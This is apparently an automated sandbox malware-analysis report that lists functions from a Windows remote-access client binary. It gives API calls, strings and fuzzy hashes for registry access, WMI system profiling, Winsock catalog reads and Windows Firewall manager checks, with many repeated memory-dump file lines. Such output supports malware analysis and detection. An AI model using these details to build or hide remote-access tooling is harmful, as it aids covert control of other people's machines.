Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction ID: 667e066b75244b2782fe63ff2368f72f8a2c2363a2cb4bcdb988270c73b3585f
Opcode Fuzzy Hash: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction Fuzzy Hash: 7351B071B00219ABC764CF69CC84F9AF7B9FB8A714F1042A8E429E7240DA70AE40CF55

Function 11145440 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145330: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
Part of subcall function 11145330: RegCloseKey.ADVAPI32(?), ref: 11145404

_memset.LIBCMT ref: 11145485
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
FreeLibrary.KERNEL32(00000000), ref: 111454EF
GetSystemDefaultLangID.KERNEL32 ref: 111454FA

Strings

kernel32.dll, xrefs: 111454B0
GetUserDefaultUILanguage, xrefs: 111454D1

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction ID: 76ed8f4553af2ae4cc76032582d3c5cf4b75be54885724a55a46303ac3459834
Opcode Fuzzy Hash: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction Fuzzy Hash: 07313971E002299BD761DF74D984BE9F7B6EB08729F540164E42DC7A80D7344984CF91

Function 11015010 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110150CA
_memset.LIBCMT ref: 1101510E
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 11015148

Strings

PackedCatalogItem, xrefs: 11015132
SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 1101504B
NSLSP, xrefs: 11015158
%012d, xrefs: 110150C4

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction ID: d38f3a4d66d5a90606c53f5b1b84405609ec5bb3b13ff7cea0d7775b25b40b12
Opcode Fuzzy Hash: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction Fuzzy Hash: C6419D71D02269AFEB11DB64CC90BDEF7B8EB44314F0445E9E819A7281EB35AB48CF50

Function 1100FDC0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100FDED
std::_Lockit::_Lockit.LIBCPMT ref: 1100FE10
std::bad_exception::bad_exception.LIBCMT ref: 1100FE94
__CxxThrowException@8.LIBCMT ref: 1100FEA2
std::_Lockit::_Lockit.LIBCPMT ref: 1100FEB5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100FECF

Strings

bad cast, xrefs: 1100FE8C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction ID: 563b417412927bd42dfe2d2268ce551a617b01fe8fe711e168dc892134580a96
Opcode Fuzzy Hash: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction Fuzzy Hash: 5731E975D002669FD711DF94C890BAEF7B8EB04B68F10426DD921A7291DB717D40CB92

Function 11144BD0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\util.cpp, xrefs: 11144BF7, 11144C99
nsmdir < GP_MAX, xrefs: 11144BFC
FALSE || !"wrong nsmdir", xrefs: 11144C9E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction ID: dd955378f98185685044f21f066d1e50e049b7277ab8e5714ac6db0ba135c9a8
Opcode Fuzzy Hash: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction Fuzzy Hash: AB518835D4022E5BD711CF24DC50BDEF7A4AF15B08F2401A4D8997BA80EBB27B84CBA5

Function 11107290 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2
std::exception::exception.LIBCMT ref: 11107414
__CxxThrowException@8.LIBCMT ref: 11107429

Strings

Wtsapi32.dll, xrefs: 1110735E
Advapi32.dll, xrefs: 11107365

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad$CreateEventException@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: Advapi32.dll$Wtsapi32.dll
API String ID: 2851125068-2390547818
Opcode ID: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction ID: 20da51148d2406ef940ba90f631bbe284ff6dbb95dc7cb8c25b5cdc78ae8e1aa
Opcode Fuzzy Hash: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction Fuzzy Hash: 2A4115B4D09B449FC761CF6A8940BDAFBE8EFA9604F00490EE5AE93210D7797500CF56

Function 11017300 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 1101733C
CoInitialize.OLE32(00000000), ref: 11017345
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
CoUninitialize.COMBASE ref: 110173D0

Strings

PCSystemTypeEx, xrefs: 1101737C
Win32_ComputerSystem, xrefs: 1101735D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction ID: df925c951649f52390f194a40c23bf9fa59b5f59fb7a44760539d7ccd5920114
Opcode Fuzzy Hash: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction Fuzzy Hash: 7F2137B5E041259BDB11DFA0CC46BBAB6E8AF40308F0040B9EC69DB184FA79E940D7A1

Function 11017220 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 11017252
CoInitialize.OLE32(00000000), ref: 1101725B
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
CoUninitialize.COMBASE ref: 110172E0

Strings

Win32_SystemEnclosure, xrefs: 11017273
ChassisTypes, xrefs: 11017292

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction ID: c2f3c346b695d23426c96ecc328f7bdb1aeadc280033f44fb53199f8ba8604cb
Opcode Fuzzy Hash: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction Fuzzy Hash: 19210575E016299BD712DFE0CC45BEEB7E89F80718F0001A8FC29DB184EA7AE945C761

Function 111386B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111386DA
GetTickCount.KERNEL32 ref: 111386E1

Strings

Client, xrefs: 11138705
DoICFConfig() OK, xrefs: 11138786
AutoICFConfig, xrefs: 11138700
DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 1113879C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction ID: a0019f70d98f4d819e239f855ef0bc8db2e19db1671bc02c3e0d3b7677daedde
Opcode Fuzzy Hash: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction Fuzzy Hash: E4210578A247AB4AFB039B759ED4755FB83578073EF450278DE10862CCDB74A458CB42

Function 11096970 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11096984
CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
CoUninitialize.COMBASE(?,?,?,?,?,?,1113769B), ref: 110969D9

Strings

HNetCfg.FwMgr, xrefs: 11096999
ICF Present: , xrefs: 110969E0

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction ID: ffe5b7852bae71a5603cb4f529131e3535c43cf5cc9a129c5e7f13935f1cb029
Opcode Fuzzy Hash: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction Fuzzy Hash: 9C11AC74E0012DABC700EAE5DC95AEFBB68AF45709F100029F50AEB144EA21EA40C7E2

Function 11025D00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11025D16
K32GetProcessImageFileNameA.KERNEL32(?,?,?,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D32
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11025D46
SetLastError.KERNEL32(00000078,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D69

Strings

GetProcessImageFileNameA, xrefs: 11025D10
GetModuleFileNameExA, xrefs: 11025D40

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction ID: 74662284ed99b9a54ad109221a671fe8fcdc3fa540ca7c31caa090441a4958f5
Opcode Fuzzy Hash: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction Fuzzy Hash: 98016D72601718ABE330DEA5EC48F87B7E8EB88765F10052AF95697200D631E8018BA4

Function 1110F2B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

Strings

..\ctl32\Refcount.cpp, xrefs: 1110F2FB
hThread, xrefs: 1110F300

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
